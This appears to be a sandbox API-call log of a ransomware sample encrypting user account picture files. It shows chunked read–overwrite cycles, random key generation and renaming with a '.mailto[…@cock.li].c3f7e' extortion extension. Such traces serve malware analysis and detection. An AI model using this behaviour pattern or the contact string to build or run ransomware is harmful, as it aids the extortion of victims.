	[0085.308] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x181c
	[0085.308] GetFileSizeEx (in: hFile=0x181c, lpFileSize=0x23a3f804 | out: lpFileSize=0x23a3f804*=602168) returned 1
	[0085.308] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x93034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.308] ReadFile (in: hFile=0x181c, lpBuffer=0x23a3f788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23a3f784, lpOverlapped=0x0 | out: lpBuffer=0x23a3f788*, lpNumberOfBytesRead=0x23a3f784*=0x4, lpOverlapped=0x0) returned 1
	[0085.314] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0085.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0085.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.314] NtQuerySystemTime (in: CurrentTime=0x23a3f764 | out: CurrentTime=0x23a3f764*=132251868120463648) returned 0x0
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xc7a2e43e
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x2e53e981
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x2ac0ed71
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xaad7d1f3
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x4b83c5b2
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x8367a2e8
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xdef716b
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xabd553de
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xb0df088e
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xc7511cdd
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x1ba7aaae
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xf70d645
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x91b793be
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xcaaefcb9
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xe5ba502f
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xac13b8a3
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xfb0a8d9
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xcb8a00b4
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xd012b80
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xe5800e7c
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x3840ee67
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x4880ec9e
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x746e114a
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x7f755bd6
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xff41e63
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xbe93465c
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0x1dcffc1e
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xac0278a7
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xa2b2f672
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xf530211b
	[0085.314] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xb33e9ef
	[0085.315] RtlRandom (in: Seed=0x23a3f770 | out: Seed=0x23a3f770) returned 0xa22281cf
	[0085.324] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.324] ReadFile (in: hFile=0x181c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0085.331] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0085.331] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0085.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0085.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0085.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0085.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0085.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.335] WriteFile (in: hFile=0x181c, lpBuffer=0x4ff2800*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesWritten=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0087.118] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.118] ReadFile (in: hFile=0x181c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.140] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.141] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0087.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0087.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b28) returned 1
	[0087.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.142] WriteFile (in: hFile=0x181c, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.153] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x86838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.153] ReadFile (in: hFile=0x181c, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.155] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x86838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0087.155] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0087.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0087.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0087.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.157] WriteFile (in: hFile=0x181c, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x23a3f71c, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x23a3f71c*=0xc800, lpOverlapped=0x0) returned 1
	[0087.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47342f8
	[0087.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0087.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47a60
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0087.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47e98
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x141) returned 0x2e02570
	[0087.162] SetFilePointerEx (in: hFile=0x181c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.162] WriteFile (in: hFile=0x181c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x23a3f7c4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x23a3f7c4*=0x141, lpOverlapped=0x0) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0087.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0087.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0087.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c1e0
	[0087.164] wcscpy (in: _Dest=0x4f2c1e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp"
	[0087.164] wcscat (in: _Dest=0x4f2c1e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.164] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x23a3f77c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477ca40
	[0087.164] NtSetInformationFile (FileHandle=0x181c, IoStatusBlock=0x23a3f774, FileInformation=0x477ca40, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0087.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49256a8) returned 1
	[0087.165] NtQueryInformationFile (in: FileHandle=0x181c, IoStatusBlock=0x23a3f788, FileInformation=0x23a3f760, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23a3f788, FileInformation=0x23a3f760) returned 0x0
	[0087.165] NtSetInformationFile (FileHandle=0x181c, IoStatusBlock=0x23a3f788, FileInformation=0x23a3f760, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c1e0) returned 1
	[0087.166] FlushFileBuffers (hFile=0x181c) returned 1
	[0093.106] CloseHandle (hObject=0x181c) 

Thread:
	id = 1000
	os_tid = 0x1c10

	[0082.513] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png")) returned 0x20
	[0082.513] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", dwFileAttributes=0x20) returned 1
	[0082.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0
	[0082.516] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x23abfc80 | out: lpFileSize=0x23abfc80*=5400) returned 1
	[0082.516] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.516] ReadFile (in: hFile=0x15d0, lpBuffer=0x23abfc04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23abfc00, lpOverlapped=0x0 | out: lpBuffer=0x23abfc04*, lpNumberOfBytesRead=0x23abfc00*=0x4, lpOverlapped=0x0) returned 1
	[0082.516] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.517] NtQuerySystemTime (in: CurrentTime=0x23abfbe0 | out: CurrentTime=0x23abfbe0*=132251868092495081) returned 0x0
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xee480d0b
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x80e3dc46
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x236af7bd
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xc4306e44
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xb19f4115
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xf6a912e
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x9c46c758
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x1433909c
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x56f77e4
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x915127d8
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xd555fa61
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x34dc27bc
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xe7701cce
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x3b0217d9
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x63d641a3
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xe9040425
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x41fda32e
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xa28b5271
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xbaf4f566
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x3196582c
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xbde55f46
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x3cdf24e1
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xdda13342
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x8ba07f22
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xb390e8d
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x6b74d78a
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x2f6b4258
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x4ba97b91
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0xe8b37d0
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x1148f3d6
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x31494701
	[0082.517] RtlRandom (in: Seed=0x23abfbec | out: Seed=0x23abfbec) returned 0x2e6d3837
	[0082.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0082.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac40
	[0082.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.528] ReadFile (in: hFile=0x15d0, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x23abfbdc, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x23abfbdc*=0x1518, lpOverlapped=0x0) returned 1
	[0082.528] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.528] WriteFile (in: hFile=0x15d0, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x1518, lpNumberOfBytesWritten=0x23abfbd8, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x23abfbd8*=0x1518, lpOverlapped=0x0) returned 1
	[0082.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac40) returned 1
	[0082.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e33aa0
	[0082.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0082.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e33de8
	[0082.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0082.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0082.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.530] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x4716f40
	[0082.530] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.530] WriteFile (in: hFile=0x15d0, lpBuffer=0x4716f40*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x23abfc40, lpOverlapped=0x0 | out: lpBuffer=0x4716f40*, lpNumberOfBytesWritten=0x23abfc40*=0x101, lpOverlapped=0x0) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716f40) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x47c83e0
	[0082.532] wcscpy (in: _Dest=0x47c83e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png"
	[0082.532] wcscat (in: _Dest=0x47c83e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.532] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x23abfbf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a50f8
	[0082.532] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x23abfbf0, FileInformation=0x46a50f8, Length=0xcc, FileInformationClass=0xa) returned 0x0
